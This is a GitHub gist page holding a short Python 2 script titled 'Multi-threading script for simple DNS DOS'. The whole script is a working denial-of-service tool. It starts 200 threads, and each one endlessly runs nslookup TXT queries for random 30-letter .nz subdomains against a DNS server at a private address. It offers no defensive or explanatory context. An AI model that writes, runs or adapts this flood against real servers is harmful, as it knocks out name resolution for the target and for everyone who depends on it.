Skip to content

Instantly share code, notes, and snippets.

@notdodo
Last active May 14, 2017 23:34
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save notdodo/ef6f2e556f73f6c24601 to your computer and use it in GitHub Desktop.
Save notdodo/ef6f2e556f73f6c24601 to your computer and use it in GitHub Desktop.
Multi-threading script for simple DNS DOS.
#!/usr/bin/python2
from threading import Thread
from threading import Event
from threading import stack_size
from Queue import Queue
from Queue import Empty
import os
class Worker(Thread):
url_queue = None
def __init__(self, url_queue):
super(Worker, self).__init__()
self.url_queue = url_queue
self.stop = Event()
def run(self):
while not self.stop.isSet():
#try:
url = random_url(30)
os.system("nslookup -querytype=txt -timeout=0 " + url + " 192.168.10.236 &")
os.system("nslookup -querytype=txt -timeout=0 " + url + " 192.168.10.236 &")
#except Empty:
#break
def join(self):
self.stop.set()
super(Worker, self).join()
def random_url(n):
import string
import random
count = 0
s = 'www.'
while count < n:
s += random.choice(string.ascii_lowercase)
count += 1
return s+'.nz'
def main(args):
stack_size(128*1024)
url_queue = Queue()
# for url in range(800000):
# url_queue.put(random_url(15))
pool = [Worker(url_queue) for i in range(200)]
for thread in pool:
thread.daemon = True
thread.start()
for thread in pool:
thread.join()
if __name__ == '__main__':
import sys
import time
start = time.time()
main(sys.argv)
print(time.time()-start)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment